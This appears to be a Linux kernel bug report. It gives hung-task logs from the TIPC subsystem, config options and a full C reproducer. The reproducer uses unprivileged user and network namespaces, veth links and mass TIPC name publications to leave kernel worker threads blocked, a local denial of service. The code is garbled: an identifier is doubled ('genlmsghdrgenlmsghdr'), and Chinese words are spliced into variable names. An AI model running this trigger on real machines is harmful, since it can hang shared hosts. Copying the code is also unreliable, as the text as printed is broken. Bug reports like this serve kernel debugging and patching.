[  370.440401] INFO: task kworker/0:0:9 blocked for more than 245 seconds.
     [  370.441580] Workqueue: events tipc_node_dist_bulk
     [  370.442803] Call Trace:
     [  370.443151]  __schedule+0x18bf/0x4680
     [  370.444293]  tipc_named_dist_cluster_scope+0x1a0/0x220
     [  370.446076]  tipc_node_dist_bulk+0x6d/0x1b0
     [  370.446218]  process_one_work+0x845/0x1a60

[  247.560544] INFO: task kworker/0:0:9 blocked for more than 122 seconds.
     [  247.568089] INFO: task kworker/0:2:67 blocked for more than 122 seconds.

     [  370.440401] INFO: task kworker/0:0:9 blocked for more than 245 seconds.
     [  370.441580] Workqueue: events tipc_node_dist_bulk
     [  370.442803] Call Trace:
     [  370.443151]  __schedule+0x18bf/0x4680
     [  370.444293]  tipc_named_dist_cluster_scope+0x1a0/0x220     ←
wait_var_event 睡眠点
     [  370.446076]  tipc_node_dist_bulk+0x6d/0x1b0
     [  370.446218]  process_one_work+0x845/0x1a60

CONFIG_TIPC=y,
CONFIG_TIPC_MEDIA_UDP=y, CONFIG_USER_NS=y, CONFIG_NET_NS=y,
CONFIG_KASAN=y (crash on the unpatched kernel),
CONFIG_DETECT_HUNG_TASK=y

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sched.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/genetlink.h>
#include <linux/if_link.h>
#include <linux/veth.h>
#include <linux/tipc.h>

#ifndef AF_TIPC
#define AF_TIPC 30
#endif
#ifndef SOCK_RDM
#define SOCK_RDM 4
#endif

#ifndef VETH_INFO_PEER
#define VETH_INFO_PEER 1
#endif

#define TIPC_GENL_V2_NAME "TIPCv2"

enum {
        TIPC_NL_UNSPEC,
        TIPC_NL_LEGACY,
        TIPC_NL_BEARER_DISABLE,
        TIPC_NL_BEARER_ENABLE,
        TIPC_NL_BEARER_GET,
        TIPC_NL_BEARER_SET,
        TIPC_NL_SOCK_GET,
        TIPC_NL_PUBL_GET,
        TIPC_NL_LINK_GET,
        TIPC_NL_LINK_SET,
        TIPC_NL_LINK_RESET_STATS,
        TIPC_NL_MEDIA_GET,
        TIPC_NL_MEDIA_SET,
        TIPC_NL_NODE_GET,
        TIPC_NL_NET_GET,
        TIPC_NL_NET_SET,
};

enum {
        TIPC_NLA_UNSPEC,
        TIPC_NLA_BEARER,
        TIPC_NLA_SOCK,
        TIPC_NLA_PUBL,
        TIPC_NLA_LINK,
        TIPC_NLA_MEDIA,
        TIPC_NLA_NODE,
        TIPC_NLA_NET,
};

enum {
        TIPC_NLA_BEARER_UNSPEC,
        TIPC_NLA_BEARER_NAME,
        TIPC_NLA_BEARER_PROP,
        TIPC_NLA_BEARER_DOMAIN,
        TIPC_NLA_BEARER_UDP_OPTS,
};

enum {
        TIPC_NLA_UDP_UNSPEC,
        TIPC_NLA_UDP_LOCAL,
        TIPC_NLA_UDP_REMOTE,
        TIPC_NLA_UDP_MULTI_REMOTEIP,
};

enum {
        TIPC_NLA_NET_UNSPEC,
        TIPC_NLA_NET_ID,
        TIPC_NLA_NET_ADDR,
        TIPC_NLA_NET_NODEID,
        TIPC_NLA_NET_NODEID_W1,
};

#define TIPC_UDP_PORT 6118
#define NLA_ALIGNTO 4
#define MY_NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - 1))

static int tipc_family;

static int nl_open(int protocol)
{
        int fd = socket(AF_NETLINK, SOCK_RAW, protocol);
        if (fd < 0) { perror("socket(NETLINK)"); exit(1); }
        struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
        if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
                perror("bind(NETLINK)"); exit(1);
        }
        return fd;
}

static void *nla_put(char *buf, int *off, int type, const void *data, int len)
{
        struct nlattr *a = (struct nlattr *)(buf + *off);
        a->nla_type = type;
        a->nla_len = NLA_HDRLEN + len;
        if (len)
                memcpy((char *)a + NLA_HDRLEN, data, len);
        *off += MY_NLA_ALIGN(a->nla_len);
        return a;
}

static struct nlattr *nla_nest_start(char *buf, int *off, int type)
{
        struct nlattr *a = (struct nlattr *)(buf + *off);
        a->nla_type = type | NLA_F_NESTED;
        *off += NLA_HDRLEN;
        return a;
}

static void nla_nest_end(char *buf, int *off, struct nlattr *start)
{
        start->nla_len = (buf + *off) - (char *)start;
}

static int genl_resolve_family(int fd, const char *name)
{
        char buf[1024];
        memset(buf, 0, sizeof(buf));
        struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
        struct genlmsghdrgenlmsghdr *gh = (struct genlmsghdrgenlmsghdr
*)NLMSG_DATA(nlh);
        int off = NLMSG_HDRLEN + GENL_HDRLEN;

        nlh->nlmsg_type = GENL_ID_CTRL;
        nlh->nlmsg_flags = NLM_F_REQUEST;
        nlh->nlmsg_seq = 1;
        gh->cmd = CTRL_CMD_GETFAMILY;
        gh->version = 1;
        nla_put(buf, &off, CTRL_ATTR_FAMILY_NAME, name, strlen(name) + 1);
        nlh->nlmsg_len = off;

        if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send genl
resolve"); exit(1); }

        char rbuf[4096];
        int n = recv(fd, rbuf, sizeof(rbuf), 0);
        if (n < 0) { perror("recv genl resolve"); exit(1); }

        struct nlmsghdr *rh = (struct nlmsghdr *)rbuf;
        if (rh->nlmsg_type == NLMSG_ERROR)
                return -1;
        struct nlattr *a = (struct nlattr *)((char *)NLMSG_DATA(rh) +
GENL_HDRLEN);
        int alen阿伦 = rh->nlmsg_len - NLMSG_HDRLEN - GENL_HDRLEN;
        while (alen > 0) {
                if (a->nla_type == CTRL_ATTR_FAMILY_ID)
                        return *(uint16_t *)((char *)a + NLA_HDRLEN);
                int step = MY_NLA_ALIGN(a->nla_len);
                alen -= step;
                a = (struct nlattr *)((char *)a + step);
        }
        return -1;
}

static int nl_recv_ack(int fd, const char *what)
{
        char rbuf[8192];
        int n = recv(fd, rbuf, sizeof(rbuf), 0);
        if (n < 0) { fprintf(stderr, "recv ack (%s): %s\n", what,
strerror(errno)); return -1; }
        struct nlmsghdr *rh = (struct nlmsghdr *)rbuf;
        if (rh->nlmsg_type == NLMSG_ERROR) {
                struct nlmsgerr *e = NLMSG_DATA(rh);
                if (e->error != 0)
                        fprintf(stderr, "[%s] netlink error: %d
(%s)\n", what, e->error, strerror(-e->error));
                return e->error;
        }
        return 0;
}

static void *rta_put(char *buf, int *off, int type, const void *data, int len)
{
        struct rtattr *a = (struct rtattr *)(buf + *off);
        a->rta_type = type;
        a->rta_len = RTA_LENGTH(len);
        if (len) memcpy(RTA_DATA(a), data, len);
        *off += RTA_ALIGN(a->rta_len);
        return a;
}

static struct rtattr *rta_nest(char *buf, int *off, int type)
{
        struct rtattr *a = (struct rtattr *)(buf + *off);
        a->rta_type = type | NLA_F_NESTED;
        *off += RTA_LENGTH(0);
        return a;
}

static void rta_nest_end(char *buf, int *off, struct rtattr *start)
{
        start->rta_len = (buf + *off) - (char *)start;
}

static void create_veth(int fd, const char *n0, const char *n1, int peer_nsfd)
{
        char buf[2048];
        memset(buf, 0, sizeof(buf));
        struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
        struct ifinfomsg *ifi = NLMSG_DATA(nlh);
        int off = NLMSG_HDRLEN + sizeof(*ifi);

        nlh->nlmsg_type = RTM_NEWLINK;
        nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE |
NLM_F_EXCL;
        nlh->nlmsg_seq = 10;
        ifi->ifi_family = AF_UNSPEC;

        rta_put(buf, &off, IFLA_IFNAME, n0, strlen(n0) + 1);
        struct rtattr *linfo = rta_nest(buf, &off, IFLA_LINKINFO);
        rta_put(buf, &off, IFLA_INFO_KIND, "veth", 5);
        struct rtattr *idata = rta_nest(buf, &off, IFLA_INFO_DATA);
        struct rtattr *peer = rta_nest(buf, &off, VETH_INFO_PEER);
        struct ifinfomsg *pifi = (struct ifinfomsg *)(buf + off);
        memset(pifi, 0, sizeof(*pifi));
        off += sizeof(*pifi);
        rta_put(buf, &off, IFLA_IFNAME, n1, strlen(n1) + 1);
        rta_put(buf, &off, IFLA_NET_NS_FD, &peer_nsfd, sizeof(peer_nsfd));
        rta_nest_end(buf, &off, peer);
        rta_nest_end(buf, &off, idata);
        rta_nest_end(buf, &off, linfo);
        nlh->nlmsg_len = off;

        if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send
veth"); exit(1); }
        int e = nl_recv_ack(fd, "create_veth");
        if (e && e != -EEXIST) { fprintf(stderr, "veth create failed:
%d\n", e); exit(1); }
}

static void set_if_up(int fd, const char *name)
{
        char buf[512];
        memset(buf, 0, sizeof(buf));
        struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
        struct ifinfomsg *ifi = NLMSG_DATA(nlh);
        int off = NLMSG_HDRLEN + sizeof(*ifi);
        nlh->nlmsg_type = RTM_NEWLINK;
        nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
        nlh->nlmsg_seq = 20;
        ifi->ifi_family = AF_UNSPEC;
        ifi->ifi_index = if_nametoindex(name);
        ifi->ifi_flags = IFF_UP;
        ifi->ifi_change = IFF_UP;
        nlh->nlmsg_len = off;
        if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send up");
exit(1); }
        nl_recv_ack(fd, "set_if_up");
}

static void add_ipv4(int fd, const char *name, const char *ip, int prefix)
{
        char buf[512];
        memset(buf, 0, sizeof(buf));
        struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
        struct ifaddrmsg *ifa = NLMSG_DATA(nlh);
        int off = NLMSG_HDRLEN + sizeof(*ifa);
        nlh->nlmsg_type = RTM_NEWADDR;
        nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE |
NLM_F_REPLACE;
        nlh->nlmsg_seq = 30;
        ifa->ifa_family = AF_INET;
        ifa->ifa_prefixlen = prefix;
        ifa->ifa_scope = 0;
        ifa->ifa_index = if_nametoindex(name);

        struct in_addr a;
        inet_pton(AF_INET, ip, &a);
        rta_put(buf, &off, IFA_LOCAL, &a, 4);
        rta_put(buf, &off, IFA_ADDRESS, &a, 4);
        nlh->nlmsg_len = off;
        if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send
addr"); exit(1); }
        nl_recv_ack(fd, "add_ipv4");
}

static void tipc_set_node_id(int fd, uint64_t w0, uint64_t w1)
{
        char buf[1024];
        memset(buf, 0, sizeof(buf));
        struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
        struct genlmsghdrgenlmsghdr *gh = (struct genlmsghdrgenlmsghdr
*)NLMSG_DATA(nlh);
        int off = NLMSG_HDRLEN + GENL_HDRLEN;
        nlh->nlmsg_type = tipc_family;
        nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
        nlh->nlmsg_seq = 40;
        gh->cmd = TIPC_NL_NET_SET;
        gh->version = 1;

        struct nlattr *net = nla_nest_start(buf, &off, TIPC_NLA_NET);
        nla_put(buf, &off, TIPC_NLA_NET_NODEID, &w0, sizeof(w0));
        nla_put(buf, &off, TIPC_NLA_NET_NODEID_W1, &w1, sizeof(w1));
        nla_nest_end(buf, &off, net);
        nlh->nlmsg_len = off;

        if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send
net_set"); exit(1); }
        int e = nl_recv_ack(fd, "tipc_set_node_id");
        if (e) fprintf(stderr, "net_set(nodeid) returned %d\n", e);
}

static void put_sockaddr_storage_v4(char *buf, int *off, int type,
const char *ip, int port)
{
        struct sockaddr_storage ss;
        memset(&ss, 0, sizeof(ss));
        struct sockaddr_in *sin = (struct sockaddr_in *)&ss;
        sin->sin_family = AF_INET;
        sin->sin_port = htons(port);
        inet_pton(AF_INET, ip, &sin->sin_addr);
        nla_put(buf, off, type, &ss, sizeof(ss));
}

static void tipc_udp_bearer(int fd, int cmd, const char *bname,
                            const char *local_ip, const char *remote_ip)
{
        char buf[2048];
        memset(buf, 0, sizeof(buf));
        struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
        struct genlmsghdrgenlmsghdr *gh = (struct genlmsghdrgenlmsghdr
*)NLMSG_DATA(nlh);
        int off = NLMSG_HDRLEN + GENL_HDRLEN;
        nlh->nlmsg_type = tipc_family;
        nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
        nlh->nlmsg_seq = 50;
        gh->cmd = cmd;
        gh->version = 1;

        struct nlattr *bearer = nla_nest_start(buf, &off, TIPC_NLA_BEARER);
        nla_put(buf, &off, TIPC_NLA_BEARER_NAME, bname名称, strlen(bname名称) + 1);
        if (cmd == TIPC_NL_BEARER_ENABLE) {
                struct nlattr *udp = nla_nest_start(buf, &off,
TIPC_NLA_BEARER_UDP_OPTS);
                put_sockaddr_storage_v4(buf, &off, TIPC_NLA_UDP_LOCAL,
local_ip, TIPC_UDP_PORT);
                put_sockaddr_storage_v4(buf, &off,
TIPC_NLA_UDP_REMOTE, remote_ip, TIPC_UDP_PORT);
                nla_nest_end(buf, &off, udp);
        }
        nla_nest_end(buf, &off, bearer);
        nlh->nlmsg_len = off;

        if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send
bearer"); exit(1); }
        int e = nl_recv_ack(fd, "tipc_udp_bearer");
        if (e) fprintf(stderr, "bearer cmd %d (%s) returned %d\n",
cmd, bname名称, e);
}

static int write_file(const char *path, const char *val)
{
        int fd = open(path, O_WRONLY);
        if (fd < 0) return -1;
        int r = write(fd, val, strlen(val));
        close(fd);
        return r;
}

static int bindfill_node_scope(int target)
{
        int fd = socket(AF_TIPC, SOCK_RDM, 0);
        if (fd < 0) { perror("socket(AF_TIPC)"); exit(1); }
        int ok = 0, fail = 0;
        for (int i = 0; i < target + 1000; i++) {
                struct sockaddr_tipc sa;
                memset(&sa, 0, sizeof(sa));
                sa.family = AF_TIPC;
                sa.addrtype = TIPC_SERVICE_ADDR;
                sa.scope = TIPC_NODE_SCOPE;
                sa.addr.nameseq.type = 100000 + i;
                sa.addr.nameseq.lower = 100000 + i;
                sa.addr.nameseq.upper = 100000 + i;
                if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) == 0) {
                        ok++;
                        fail = 0;
                } else if (++fail > 100) {
                        break;
                }
        }
        fprintf(stderr, "[*] bound %d node-scope publications (cap
reached)\n", ok);
        if (ok < 65000) { fprintf(stderr, "bindfill shortfall\n"); exit(1); }
        return fd;
}

static void child_main(int sync_rd, int sync_wr)
{
        char c;
        write(sync_wr, "R", 1);
        if (read(sync_rd, &c, 1) != 1) _exit(1);

        int rfd = nl_open(NETLINK_ROUTE);
        set_if_up(rfd, "lo");
        set_if_up(rfd, "veth1");
        add_ipv4(rfd, "veth1", "10.0.0.2", 24);

        int gfd = nl_open(NETLINK_GENERIC);
        tipc_family = genl_resolve_family(gfd, TIPC_GENL_V2_NAME);
        if (tipc_family < 0) _exit(1);

        int bfd = bindfill_node_scope(65535);
        tipc_set_node_id(gfd, 0x2222222222222222ULL, 0x2222222222222222ULL);
        tipc_udp_bearer(gfd, TIPC_NL_BEARER_ENABLE, "udp:b1",
"10.0.0.2", "10.0.0.1");
        write(sync_wr, "C", 1);

        sleep(35);
        tipc_udp_bearer(gfd, TIPC_NL_BEARER_DISABLE, "udp:b1", NULL, NULL);
        fprintf(stderr, "[child] b1 disabled, keeping it down\n");
        (void)bfd;
        for (;;) pause();
}

int main(void)
{
        setvbuf(stdout, NULL, _IONBF, 0);
        setvbuf(stderr, NULL, _IONBF, 0);

        uid_t uid = getuid();
        gid_t gid = getgid();

        if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) {
                write_file("/proc/self/setgroups", "deny");
                char m[64];
                snprintf(m, sizeof(m), "0 %d 1", uid);
                write_file("/proc/self/uid_map", m);
                snprintf(m, sizeof(m), "0 %d 1", gid);
                write_file("/proc/self/gid_map", m);
        } else if (unshare(CLONE_NEWNET) < 0) {
                perror("unshare");
                return 1;
        }

        int p2c[2], c2p[2];
        if (pipe(p2c) < 0 || pipe(c2p) < 0) { perror("pipe"); return 1; }

        pid_t pid = fork();
        if (pid == 0) {
                close(p2c[1]);
                close(c2p[0]);
                if (unshare(CLONE_NEWNET) < 0) _exit(1);
                child_main(p2c[0], c2p[1]);
                _exit(0);
        }
        close(p2c[0]);
        close(c2p[1]);

        char c;
        if (read(c2p[0], &c, 1) != 1) { fprintf(stderr, "child not
ready\n"); return 1; }

        char nspath[64];
        snprintf(nspath, sizeof(nspath), "/proc/%d/ns/net", pid);
        int nsfd = open(nspath, O_RDONLY);
        if (nsfd < 0) { perror("open ns"); return 1; }

        int rfd = nl_open(NETLINK_ROUTE);
        create_veth(rfd, "veth0", "veth1", nsfd);
        close(nsfd);
        set_if_up(rfd, "lo");
        set_if_up(rfd, "veth0");
        add_ipv4(rfd, "veth0", "10.0.0.1", 24);
        write(p2c[1], "G", 1);

        int gfd = nl_open(NETLINK_GENERIC);
        tipc_family = genl_resolve_family(gfd, TIPC_GENL_V2_NAME);
        if (tipc_family < 0) return 1;
        int bfd = bindfill_node_scope(65535);
        tipc_set_node_id(gfd, 0x1111111111111111ULL, 0x1111111111111111ULL);

        if (read(c2p[0], &c, 1) != 1)
                fprintf(stderr, "child config sync missed\n");
        tipc_udp_bearer(gfd, TIPC_NL_BEARER_ENABLE, "udp:b0",
"10.0.0.1", "10.0.0.2");

        fprintf(stderr, "[*] nodes configured; waiting for stale cleanup\n");
        (void)bfd;
        sleep(400);
        kill(pid, SIGKILL);
        waitpid(pid, NULL, 0);
        fprintf(stderr, "[*] done\n");
        return 0;
}